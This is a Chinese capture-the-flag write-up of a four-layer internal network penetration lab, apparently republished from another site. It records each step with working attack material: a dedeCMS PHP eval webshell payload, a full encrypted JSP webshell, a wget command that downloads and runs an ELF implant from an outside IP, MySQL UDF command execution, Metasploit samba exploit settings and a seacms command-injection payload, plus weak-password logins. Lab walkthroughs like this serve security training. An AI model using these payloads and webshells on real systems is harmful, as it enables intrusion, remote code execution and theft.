三层内网渗透

内网拓扑图

第一层

首先入口网站是一个dedecms

拿到这个网站先上扫描器

果然有rebots.txt,访问 http://10.10.9.110//ffffffffllllllllllaaaaaaaagggggg22222222222.txt
flag2
flag{f784234649d7ef161229349d1d76ba8d}

接着我们想要拿到网站的shell，在漏洞库中发现可以利用dedeCMS后台上传getshell漏洞（CNVD-2018-01221）
参考链接:https://blog.csdn.net/weixin_44897902/article/details/102768536

/tpl.php?action=savetagfile&token=&filename=abc.lib.php&content=<?php @eval($_POST['xxx'])?> 

需要输入账号和密码，可以bp爆破,尝试弱口令，账号密码为：admin/admin

写入一句话木马成功，访问

/include/taglib/abc.lib.php

在根目录找到flag1
拿到shell以后查看内核，和网络情况

可以发现是双网卡。我们可以利用VIPER上线内网
在自己的vps上搭建VIPER
viper搭建教程：https://www.yuque.com/vipersec/help/rggacz

第二层

在选择载荷时因为主机内核是ubuntu x86_64,所以选择2处的载荷类型

生成elf攻击载荷，利用wegt直接上传到tmp目录下（前提是权限足够）

在tmp目录执行即可

可以看到主机已经上线


点击自动添加路由

在内网代理处设置socks5代理,在本地开一个全局代理，为后面的渗透做准备

利用viper自带的扫描器扫一下c段


可以看到一共有6个服务，当然也可以在蚁剑上传fsacn扫描c段

./fs8 -h 172.16.20.0/24 -o 2.txt

访问各个服务首先是172.16.20.38:8080是tomcat，给了地址和网站密码


账号为弱口令 admin/admin
显示是tomcat/8.043根据版本号查找漏洞
上传war包，获取webshell:使用蚁剑插件生成webshell，保存为9.jsp，右键添加压缩包，选择压缩包格式为zip格式并保存9.zip，手动修改9.zip为9.war，
上传即可：Webshell地址为：http://172.16.20.38:8080/9/9.jsp

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";
/*�ƥ:ޥ�32Mmd5<�M16Mؤޥ�rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

用冰蝎连接

在文件管理找到
flag3：flag{03bbcaf39bdd08fa8d0d9e5477e102c5}

访问172.16.20.76:8080

发现是shiro服务，利用shiro工具即可
flag4：flag{22fceae28669c34d139f7ff6db690acb}


访问 http://172.16.20.62:7001 weblogic

利用java反序列化工具即可


第二层就打完了

第三层

查看tomact的webshll发现
内核也是ubuntu x86_64，并且可能是下一层的入口
使用终端命令执行wget下载木马并执行，主机上线

wget -O 1640513203.elf --no-check-certificate https://82.157.67.72:60000/api/v1/d/?en=ghNaPBsvA3QP5v4UsQktSg== && chmod 755 1640513203.elf && ./1640513203.elf 

扫描10.2.0.0，fscan扫描b段，也可以全网段扫

flag7:flag{4e137c4035538ba1f76ce4d661c3006f}

第一步：

show variables like'%plugin%';
查到目录 /usr/local/mysql/lib/plugin/

第二步：
写入so文件

select unhex
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into dumpfile'/usr/local/mysql/lib/plugin/exp.so';

第三步：
引入so文件

create function sys_eval returns string soname'exp.so';

第四步：
执行命令

select sys_eval('whoami');

通过find命令查到flag再tmp下

通过find命令查到flag再tmp下
select sys_eval('find / -name flag*');
select sys_eval('cat /tmp/flag7');

Flag8:flag{dd649b2e6e405b93a875ad690168cefd}
使用kali_linux添加proxychains代理：
Vim /etc/proxychains.conf
使用代理打开msf：proxychains msfconsole，扫描内网主机存活：use auxiliary/scanner/portscan/tcp，发现内网存活主机
开展信息搜集，发现该主机系统为linux ，开放139、445端口，其中445端口为samba 4.6.3
通过search samba 4.6 发现存在漏洞，
使用 exploit/linux/samba/is_known_pipename
进行攻击，
Set rHOST 10.10.135.35
Set SMB::AlwaysEncrypt false
Set SMB::ProtocolVersion 1
Run

拿shell

Flag9
flag{27e6221a8a55c8ee7396e74531dc7d9d}
Jboss

Payload:python ./jexboss.py -u http://10.2.5.62:8080/
一键shell

第四层

查看主机内核

直接用前面的载荷上线内网主机，扫描内网查看存活主机及服务



可以看到存在三台主机，分别是

1. http://192.168.28.133:8080 poc-yaml-struts2_046-1
   2.http://192.168.28.159 code:200 len:43 title:影视大全 - 最新电视剧,最新电影
   3.http://192.168.28.137:8083 redis服务
   首先struts2直接上工具
   
   flag10
   flag{b7148e2edfbfb4a81200392c83966043}
   
   flag11
   flag{c5db628ee33ef57f9e6aaba9308975ae}
   http://192.168.28.137:8083 redis服务
   主从复制getshell
   https://www.cnblogs.com/xiaozi/p/13089906.html
   https://github.com/zj1244/Blog/issues/24
   
   参考链接：https://blog.csdn.net/YouthBelief/article/details/121036440?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~default-3.highlightwordscore&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~CTRLIST~default-3.highlightwordscore
   考点就是seacms 远程命令执行 （CNVD-2020-22721）
   后台弱口令是：admin\admin
   漏洞利用地址: http://192.168.28.159/manager/admin_ip.php
   
   访问http://192.168.28.159/data/admin/ip.php
   
   文章中是上shell，但在此环境中直接命令执行得到flag即可
   构造payload:";system(‘cat /f*’);//
   flag12
   flag{c5db628ee33ef57f9e6aaba9308975ae}
   

这篇好文章是转载于：学新通技术网